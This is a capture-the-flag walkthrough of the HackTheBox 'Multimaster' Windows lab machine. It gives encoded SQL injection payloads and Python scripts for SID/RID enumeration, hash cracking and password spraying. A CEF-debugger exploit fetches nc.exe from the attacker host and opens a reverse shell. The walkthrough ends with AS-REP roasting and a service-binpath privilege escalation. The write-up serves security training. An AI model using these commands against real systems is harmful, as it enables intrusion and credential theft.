In this walk through, we will be going through the Multimaster room from HackTheBox. This room is rated as Insane on the platform and it consists of SQL Injection exploitation to get the initial foothold. Then, for the lateral movement vulnerable VS code installation was abused to move laterally and at last abuse of Generic Write permission and Server Operator group privilege makes us root. So, let’s get started without any delay.
Table of Contents
Machine Info:
Title | Multimaster |
IPaddress | 10.10.10.179 |
Difficulty | Insane |
OS | Windows |
Description | Multimaster is an Insane level Windows machine, requiring SQL Injection exploitation to get the initial foothold. Then, for the lateral movement vulnerable VS code installation was abused to move laterally and at last abuse of Generic Write permission and Server Operator group privilege makes us root. |
Enumeration:
- I started with my regular aggressive nmap scan and found multiple ports opened. The highlight was – 80 (HTTP), 88 (Kerberos), 135 (RPC), 139,445 (SMB) and 389 (LDAP).
$ sudo nmap -A 10.10.10.179 [sudo] password for wh1terose: Starting Nmap 7.80 ( https://nmap.org ) at 2023-12-30 19:10 IST Nmap scan report for 10.10.10.179 Host is up (0.19s latency). Not shown: 988 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 |_http-title: 403 - Forbidden: Access is denied. 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-12-30 13:47:42Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL, Site: Default-First-Site-Name) 445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGACORP) 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 3389/tcp open ms-wbt-server Microsoft Terminal Services | rdp-ntlm-info: | Target_Name: MEGACORP | NetBIOS_Domain_Name: MEGACORP | NetBIOS_Computer_Name: MULTIMASTER | DNS_Domain_Name: MEGACORP.LOCAL | DNS_Computer_Name: MULTIMASTER.MEGACORP.LOCAL | DNS_Tree_Name: MEGACORP.LOCAL | Product_Version: 10.0.14393 |_ System_Time: 2023-12-30T13:47:59+00:00 | ssl-cert: Subject: commonName=MULTIMASTER.MEGACORP.LOCAL | Not valid before: 2023-12-29T13:46:00 |_Not valid after: 2024-06-29T13:46:00 |_ssl-date: 2023-12-30T13:48:38+00:00; +7m00s from scanner time. Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2016|2012|2008 (91%) OS CPE: cpe:/o:microsoft:windows_server_2016 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2008:r2 Aggressive OS guesses: Microsoft Windows Server 2016 (91%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (85%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2008 R2 (85%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: Host: MULTIMASTER; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 1h43m01s, deviation: 3h34m42s, median: 6m59s | smb-os-discovery: | OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3) | Computer name: MULTIMASTER | NetBIOS computer name: MULTIMASTER\x00 | Domain name: MEGACORP.LOCAL | Forest name: MEGACORP.LOCAL | FQDN: MULTIMASTER.MEGACORP.LOCAL |_ System time: 2023-12-30T05:48:03-08:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: required | smb2-security-mode: | 2.02: |_ Message signing enabled and required | smb2-time: | date: 2023-12-30T13:48:02 |_ start_date: 2023-12-30T13:46:08 TRACEROUTE (using port 3389/tcp) HOP RTT ADDRESS 1 185.70 ms 10.10.14.1 2 185.76 ms 10.10.10.179 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 197.17 seconds
- Enumerated the web server on port 80 and found an application running for the MegaCorp Employees.
- There was a login panel in the application. Tried some default username/password combo along with some SQL authentication bypass techniques but found no luck.
- Looked into the gallery section but got nothing juicy.
- Next, accessed the Colleague Finder section. Tried to search something common like Administrator but got no results back.
- Added the found hostnames in nmap result to my /etc/hosts file.
- Moving on, tried to enumerated some username via RPC and LDAP but got nothing.
- Next, pivoted by enumeration to SMB. Got nothing back here as well.
smbclient -L 10.10.10.179 smbmap -H 10.10.10.179
- Back to the running web application, a blank search in the Colleague Finder section reveals some employee names. Great!
- Intercepted the request via Burpsuite which reveals that the request is being passed to the /api/getColleagues endpoint with a JSON parameter of employee’s name.
Performing SQL Injection
- Tried to perform a basic SQL Injection checking by adding an apostrophe to the input. That gives me a 403 Forbidden error. That means, we have a hope here.
URL Encoder: https://www.coderstool.com/utf16-encoding-decoding
- Used the below encoded SQL injection payload which to my surprise worked and gave me the results of all the employees in the DB. I saved the employee names and email address to my local machine as they might be required for further attacks.
' or 1=1-- - \u0027\u0020\u006f\u0072\u0020\u0031\u003d\u0031\u002d\u002d\u0020\u002d
- Moving on, using the below payload confirmed the number of columns in the DB is 5.
' ORDER BY 6-- - \u0027\u0020\u004f\u0052\u0044\u0045\u0052\u0020\u0042\u0059\u0020\u0036\u002d\u002d\u0020\u002d
- Enumerated the SQL server version running on the application using the below payload. The result confirms that we are dealing with a Microsoft SQL Server 2017 here.
asd' UNION SELECT 1,@@VERSION,DB_NAME(),4,5-- - \u0061\u0073\u0064\u0027\u0020\u0055\u004e\u0049\u004f\u004e\u0020\u0053\u0045\u004c\u0045\u0043\u0054\u0020\u0031\u002c\u0040\u0040\u0056\u0045\u0052\u0053\u0049\u004f\u004e\u002c\u0044\u0042\u005f\u004e\u0041\u004d\u0045\u0028\u0029\u002c\u0034\u002c\u0035\u002d\u002d\u0020\u002d
- Dumped the table names using below payload. The results shows two – Colleagues & Logins.
asd' UNION SELECT 1,table_name,3,4,5 FROM INFORMATION_SCHEMA.TABLES-- - \u0061\u0073\u0064\u0027\u0020\u0055\u004e\u0049\u004f\u004e\u0020\u0053\u0045\u004c\u0045\u0043\u0054\u0020\u0031\u002c\u0074\u0061\u0062\u006c\u0065\u005f\u006e\u0061\u006d\u0065\u002c\u0033\u002c\u0034\u002c\u0035\u0020\u0046\u0052\u004f\u004d\u0020\u0049\u004e\u0046\u004f\u0052\u004d\u0041\u0054\u0049\u004f\u004e\u005f\u0053\u0043\u0048\u0045\u004d\u0041\u002e\u0054\u0041\u0042\u004c\u0045\u0053\u002d\u002d\u0020\u002d
- Dumped the columns in the Logins table. The juicy ones were – username and password.
asd' UNION SELECT 1,name,3,4,5 FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name = 'Logins')-- - \u0061\u0073\u0064\u0027\u0020\u0055\u004e\u0049\u004f\u004e\u0020\u0053\u0045\u004c\u0045\u0043\u0054\u0020\u0031\u002c\u006e\u0061\u006d\u0065\u002c\u0033\u002c\u0034\u002c\u0035\u0020\u0046\u0052\u004f\u004d\u0020\u0073\u0079\u0073\u0063\u006f\u006c\u0075\u006d\u006e\u0073\u0020\u0057\u0048\u0045\u0052\u0045\u0020\u0069\u0064\u003d\u0028\u0053\u0045\u004c\u0045\u0043\u0054\u0020\u0069\u0064\u0020\u0046\u0052\u004f\u004d\u0020\u0073\u0079\u0073\u006f\u0062\u006a\u0065\u0063\u0074\u0073\u0020\u0057\u0048\u0045\u0052\u0045\u0020\u006e\u0061\u006d\u0065\u0020\u003d\u0020\u0027\u004c\u006f\u0067\u0069\u006e\u0073\u0027\u0029\u002d\u002d\u0020\u002d
- Finally, dumped the username and password hashes using the below payload.
asd' UNION SELECT 1,username,password,4,5 FROM Logins-- - \u0061\u0073\u0064\u0027\u0020\u0055\u004e\u0049\u004f\u004e\u0020\u0053\u0045\u004c\u0045\u0043\u0054\u0020\u0031\u002c\u0075\u0073\u0065\u0072\u006e\u0061\u006d\u0065\u002c\u0070\u0061\u0073\u0073\u0077\u006f\u0072\u0064\u002c\u0034\u002c\u0035\u0020\u0046\u0052\u004f\u004d\u0020\u004c\u006f\u0067\u0069\u006e\u0073\u002d\u002d\u0020\u002d
- Next, i checked the hash types using haiti for all the dumped hashes. It shows positive for three hash types – SHA-384, SHA3-384 and Keccak-384.
$ haiti 9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739 SHA-384 [HC: 10800] [JtR: raw-sha384] SHA3-384 [HC: 17500] [JtR: dynamic_390] Keccak-384 [HC: 17900] [JtR: dynamic_440] BLAKE2-384 (blake2b) Umbraco HMAC-SHA1 [HC: 24800] $ haiti fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa SHA-384 [HC: 10800] [JtR: raw-sha384] SHA3-384 [HC: 17500] [JtR: dynamic_390] Keccak-384 [HC: 17900] [JtR: dynamic_440] BLAKE2-384 (blake2b) Umbraco HMAC-SHA1 [HC: 24800] $ haiti 68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813 SHA-384 [HC: 10800] [JtR: raw-sha384] SHA3-384 [HC: 17500] [JtR: dynamic_390] Keccak-384 [HC: 17900] [JtR: dynamic_440] BLAKE2-384 (blake2b) Umbraco HMAC-SHA1 [HC: 24800] $ haiti cf17bb4919cab4729d835e734825ef16d47de2d9615733fcba3b6e0a7aa7c53edd986b64bf715d0a2df0015fd090babc SHA-384 [HC: 10800] [JtR: raw-sha384] SHA3-384 [HC: 17500] [JtR: dynamic_390] Keccak-384 [HC: 17900] [JtR: dynamic_440] BLAKE2-384 (blake2b) Umbraco HMAC-SHA1 [HC: 24800]
- I tried to crack the hashes using hashcat for 3 hash types but got results only for Keccak-384.
hashcat -a 0 -m 10800 hash.txt rockyou.txt hashcat -a 0 -m 17500 hash.txt rockyou.txt hashcat -a 0 -m 17900 hash.txt rockyou.txt
password1
finance1
banking1
- Trim out the usernames from the emails we saved earlier.
cat emails.txt | tr -d '"' | cut -d '@' -f 1 > usernames.txt
- Sprayed the cracked password onto the username list but got nothing.
crackmapexec smb 10.10.10.179 -u usernames.txt -p password1 crackmapexec smb 10.10.10.179 -u usernames.txt -p finance1 crackmapexec smb 10.10.10.179 -u usernames.txt -p banking1
Initial Access:
- In Active Directory, every user, group, and computer has a unique identifier called an RID, which is the last part of a SID (Security Identifier). Similar to the principal_id in SQL server, the RID is a number that is incrementally assigned to domain objects. If we identify the RID for one user, it is possible to iterate over the RID range in order to identify other domain users. SQL Server has a function SUSER_SID() , which returns a Security Identification Number (SID) for a given user. Let’s use this to identify the SID of the primary domain administrator.
asd' union select 1,2,3,4,SUSER_SID('MegaCorp\Administrator')-- - \u0061\u0073\u0064\u0027\u0020\u0075\u006e\u0069\u006f\u006e\u0020\u0073\u0065\u006c\u0065\u0063\u0074\u0020\u0031\u002c\u0032\u002c\u0033\u002c\u0034\u002c\u0053\u0055\u0053\u0045\u0052\u005f\u0053\u0049\u0044\u0028\u0027\u004d\u0065\u0067\u0061\u0043\u006f\u0072\u0070\u005c\u0041\u0064\u006d\u0069\u006e\u0069\u0073\u0074\u0072\u0061\u0074\u006f\u0072\u0027\u0029\u002d\u002d\u0020\u002d
- The output returned by the query is in VARBINARY format and the UNION statement is converting it to a string that is not readable. Instead, we can exfiltrate the SID one by one as integers using the first column id . Let’s identify the total length of the SID using the DATALENGTH() function.
asd' UNION SELECT 1,2,3,4,DATALENGTH(SUSER_SID('MegaCorp\Administrator'))-- - \u0061\u0073\u0064\u0027\u0020\u0055\u004e\u0049\u004f\u004e\u0020\u0053\u0045\u004c\u0045\u0043\u0054\u0020\u0031\u002c\u0032\u002c\u0033\u002c\u0034\u002c\u0044\u0041\u0054\u0041\u004c\u0045\u004e\u0047\u0054\u0048\u0028\u0053\u0055\u0053\u0045\u0052\u005f\u0053\u0049\u0044\u0028\u0027\u004d\u0065\u0067\u0061\u0043\u006f\u0072\u0070\u005c\u0041\u0064\u006d\u0069\u006e\u0069\u0073\u0074\u0072\u0061\u0074\u006f\u0072\u0027\u0029\u0029\u002d\u002d\u0020\u002d
- The SUBSTRING() function can be used to exfiltrate each character.
test' UNION SELECT SUBSTRING(SUSER_SID('MegaCorp\Administrator'),1,1),2,3,4,5-- - \u0074\u0065\u0073\u0074\u0027\u0020\u0055\u004e\u0049\u004f\u004e\u0020\u0053\u0045\u004c\u0045\u0043\u0054\u0020\u0053\u0055\u0042\u0053\u0054\u0052\u0049\u004e\u0047\u0028\u0053\u0055\u0053\u0045\u0052\u005f\u0053\u0049\u0044\u0028\u0027\u004d\u0065\u0067\u0061\u0043\u006f\u0072\u0070\u005c\u0041\u0064\u006d\u0069\u006e\u0069\u0073\u0074\u0072\u0061\u0074\u006f\u0072\u0027\u0029\u002c\u0031\u002c\u0031\u0029\u002c\u0032\u002c\u0033\u002c\u0034\u002c\u0035\u002d\u002d\u0020\u002d
- The query returns 1. This means that the first two digits are 01 , which is expected. Let’s automate this to identify the SID of the administrator user.
import json import requests from time import sleep url = 'http://10.10.10.179/api/getColleagues' def unicode(str): utf=[] for i in str: utf.append("\\u00"+hex(ord(i)).split("x")[1]) return ''.join([i for i in utf]) sid='' for i in range(1,29): payload="test' UNION SELECT SUBSTRING(SUSER_SID('MegaCorp\Administrator'),{},1),2,3,4,5-- -".format(i) r = requests.post(url,data='{"name":"'+ unicode(payload) + '"})',headers={'Content-Type': 'Application/json'}) id=json.loads(r.text)[0]["id"] if len(str(id))==1: id='0'+str(id) else: id=hex(id).split('x')[1] sleep(2) sid+=id print "0x%s"%(sid)
python sid.py
0x0105000000000005150000001c00d1bcd181f1492bdfc236f4010000
- We can now use the SUSER_SNAME() function to perform a reverse lookup of the obtained SID. For example, the following query should return MEGACORP\Administrator
asd' union select 1,2,3,4,SUSER_SNAME(0x0105000000000005150000001c00d1bcd181f1492bdfc236f4010000)-- - \u0061\u0073\u0064\u0027\u0020\u0075\u006e\u0069\u006f\u006e\u0020\u0073\u0065\u006c\u0065\u0063\u0074\u000a\u0031\u002c\u0032\u002c\u0033\u002c\u0034\u002c\u0053\u0055\u0053\u0045\u0052\u005f\u0053\u004e\u0041\u004d\u0045\u0028\u0030\u0078\u0030\u0031\u0030\u0035\u0030\u0030\u0030\u0030\u0030\u0030\u0030\u0030\u0030\u0030\u0030\u0035\u0031\u0035\u0030\u0030\u0030\u0030\u0030\u0030\u0031\u0063\u0030\u0030\u0064\u0031\u0062\u0063\u0064\u0031\u0038\u0031\u0066\u0031\u0034\u0039\u0032\u0062\u0064\u0066\u0063\u0032\u0033\u0036\u0066\u0034\u0030\u0031\u0030\u0030\u0030\u0030\u0029\u002d\u002d\u0020\u002d
The obtained Hex SID value is 56 bytes in length. The first 48 bytes are domain SID. The domain SID is the unique identifier for the domain and the base of every full RID. After we have the SID. We can start constructing our own RIDs in order to sequentially enumerate domain users.
- RID : 0x0105000000000005150000001c00d1bcd181f1492bdfc236f4010000
- SID : 0x0105000000000005150000001c00d1bcd181f1492bdfc236
In Active Directory, any group or user that Windows doesn’t create has a RID of 1000 or greater. If we examine the last 8 bytes of RID, we can see that the value f401 is padded by 0s. If we flip this value and convert it to an int we get the value of 500 , which is the RID for the default Administrator user account. We can now automate this process to bruteforce RIDs starting from 1000 and identify domain users.
import json import requests from time import sleep url = 'http://10.10.10.179/api/getColleagues' def unicode(str): utf=[] for i in str: utf.append("\\u00"+hex(ord(i)).split("x")[1]) return ''.join([i for i in utf]) sid='' for i in range(1100,1200): i=hex(i)[2:].upper() if len(i)<4: i='0'+i t=bytearray.fromhex(i) t.reverse() t=''.join(format(x,'02x') for x in t).upper()+'0'*4 sid='0x0105000000000005150000001c00d1bcd181f1492bdfc236{}'.format(t) payload="test' UNION SELECT 1,SUSER_SNAME({}),3,4,5-- -".format(sid) r = requests.post(url,data='{"name":"'+ unicode(payload) + '"}',headers={'Content-Type': 'Application/json'}) user=json.loads(r.text)[0]["name"] if user: print user sleep(2)
- Now, we will use the found usernames with the earlier found password using crackmapexec on the DC. Got a green flag for user “tushikikatomo”.
crackmapexec smb 10.10.10.179 -u andrew tushikikatomo svc-nas lana -p finance1 banking1 password1
- Got the initial foothold using evil-winrm as user tushikikatomo and got the user flag.
evil-winrm.rb -i 10.10.10.179 -u tushikikatomo -p finance1
Lateral Movement:
- Next, performed some post-compromise enumeration on the target. Found out that VS Code has been installed on the system.
- Checked the running processes on the machine and it confirmed that the VSCode is running on the target.
- Checked the VSCode version using the below command.
(Get-Command .\Code.exe).version
- Upon checking the version for any known vulnerability, found out that the version is vulnerable to Local Command execution vulnerability (CVE-2019-1414)
Exploit: https://iwantmore.pizza/posts/cve-2019-1414.html
- Downloaded the exploit onto our local machine and then transferred it to the target.
wget https://github.com/taviso/cefdebug/releases/download/v0.2/cefdebug.zip unzip cefdebug.zip
- This identified that two CEF debuggers are present. Let’s validate the vulnerability (or feature abuse) by executing sample code.
.\cefdebug.exe
.\cefdebug.exe --url ws://127.0.0.1:40649/ccb1342c-4612-468a-a938-3a707aaf29c1 --code "['hello', 'world'].join(' ')"
- Next transferred the netcat binary on to the target with the sockets running.
sudo python3 -m http.server 80 .\cefdebug.exe --url ws://127.0.0.1:29733/f668e3d0-25dc-483b-8050-01504778ed7c --code "process.mainModule.require('child_process').exec('powershell IWR -Uri http://10.10.14.2/nc.exe -Outfile c:\\windows\\temp\\test.exe')"
- Executing the netcat binary using our debugger gives us shell back as user cyork.
.\cefdebug.exe --url ws://127.0.0.1:48718/19646011-faf7-4c8b-bb8e-511a14e6986d --code "process.mainModule.require('child_process').exec('c:\\windows\\temp\\test.exe -e cmd.exe 10.10.14.2 1234')"
Lateral Movement to sbauer
- Performed some enumeration as user cyork which reveals that he is part of MEGACORP\Developers group.
C:\Program Files\Microsoft VS Code>whoami /all whoami /all USER INFORMATION ---------------- User Name SID ============== ============================================= megacorp\cyork S-1-5-21-3167813660-1240564177-918740779-3107 GROUP INFORMATION ----------------- Group Name Type SID Attributes ========================================== ================ ============================================= ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Group used for deny only NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group MEGACORP\Developers Group S-1-5-21-3167813660-1240564177-918740779-3119 Mandatory group, Enabled by default, Enabled group Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group Mandatory Label\Medium Mandatory Level Label S-1-16-8192 PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======== SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled USER CLAIMS INFORMATION ----------------------- User claims unknown. Kerberos support for Dynamic Access Control on this device has been disabled.
- In the web server’s root directory found some interesting files. Got an interesting one in bin directory called MultimasterAPI.dll
- To transfer the file to our local machine. Spawned a SMB share using impacket’s smbserver.py script at our local machine and then used the net.exe binary to connect with the share and copy the file.
sudo smbserver.py share . -username test -password test
net.exe use T: \\10.10.14.2\share /user:test test
copy MultimasterAPI.dll T:\
- Checked the DLL file using dnSPY debugger. Inspection of MultimasterAPI.Controllers > ColleagueController reveals a database connection string containing the password D3veL0pM3nT! .
D3veL0pM3nT!
- Sprayed the found password on to our username list. Got an instant hit for user sbauer.
crackmapexec smb 10.10.10.179 -u usernames.txt -p D3veL0pM3nT!
- Got the shell acess as user sbauer using win-rm.
evil-winrm.rb -i 10.10.10.179 -u sbauer -p D3veL0pM3nT!
Lateral Movement to Jorden
- Performed post-compromise again using bloodhound on the target. The enumeration reveals that our current user has generic write access to user Jorden. That means, we can write to any non-protected attribute on the target object, including members for a group, and serviceprincipalnames for a user. We can abuse this permission to disable Kerberos pre-authentication for the Jorden user.
bloodhound-python -c ALL -u sbauer -p 'D3veL0pM3nT!' -d megacorp.local -ns 10.10.10.179
- Disabled the Kerberos Pre-Autentication on the target.
Management.dll – https://github.com/samratashok/ADModule/blob/master/Microsoft.ActiveDirectory.Management.dll
Import-Module .\Microsoft.ActiveDirectory.Management.dll Get-ADUser -Filter 'Name -like "Jor*"' | Set-ADAccountControl -doesnotrequirepreauth $true
- Next, performed AS-Reproasting on user jorden got his TGT back.
GetNPUsers.py megacorp.local/jorden -request
[email protected]:336edf749821349c41ccd140d772d3b4$f7cb6385c71bf4d0b058d3abafcc2e10fee86d56142ebabcb3153e765ec1e6319a401afabb520642bf132a579cb9c8693ea2c3ad1363297bc8d34566dfe8d3d3213feb64947fcf7a1a7dccac006fbb5e734310f1819d140126f85c4ccff408809b66e5734dd500e343d0d20429c58df51bf21d4c3f7cb31b8f18e02a582a2c09738b5cf87afffe67589d02b8411c8f686041e2b9f3325ac82fbaa77718a6cde4a5de5c9e274fb4a0116a308179284da68df861c98a4fa52ad998c5ef1421b5b78969994dd7dbeceacd844f786644b1da5814c4bfa25a84145671a83bea0e390a49e02c34ac279d13ab61ce43a471d6f2
- Cracked the hash using hashcat got the password for user jorden – rainforest786.
hashcat -m 18200 hash.txt rockyou.txt -O
jorden: rainforest786
- Got shell access as user jorden using win-rm.
evil-winrm.rb -i 10.10.10.179 -u jorden -p rainforest786
Privilege Escalation:
- Checking the group permissions for user jorden reveals that he is the member of Server Operators group. The Server Operators group allows members to start, stop and change the properties of the browser (Computer Browser) service – and other services. We can use this privilege to modify the service binary path. As the browser and some other modifiable services run in the context of SYSTEM, membership of this group should be monitored and restricted, especially as it also permits logging on interactively to domain controllers.
net user jorden
- Used the below command to change the admin password.
sc.exe config browser binpath="C:\Windows\System32\cmd.exe /c net user administrator password" sc.exe qc browser sc.exe stop browser sc.exe start browser
- Once the process has been completed, used psexec to login as administrator and captured the root flag.
psexec.py megacorp.local/administrator:[email protected]
Also Read: HTB – Lame
Conclusion:
So that was “Multimaster” for you. The machine features a web application that was vulnerable to SQL Injection. This vulnerability was leveraged to obtain the foothold on the server. Examination the file system reveals that a vulnerable version of VS Code was installed, and VS Code processes was found to be running on the server. By exploiting debug functionality, a shell as the user cyork was gained. Then, a password was found in a DLL, which due to password reuse, results in a shell as sbauer. This user was found to have GenericWrite permissions on the user jorden. Abusing this privilege allows us to gain access to the server as this user. Moving on, found out that jorden was a member of Server Operators group, whose privileges we then exploited to get a SYSTEM shell. On that note, i would take your leave and will meet you in next one. Till then, “Happy hacking”.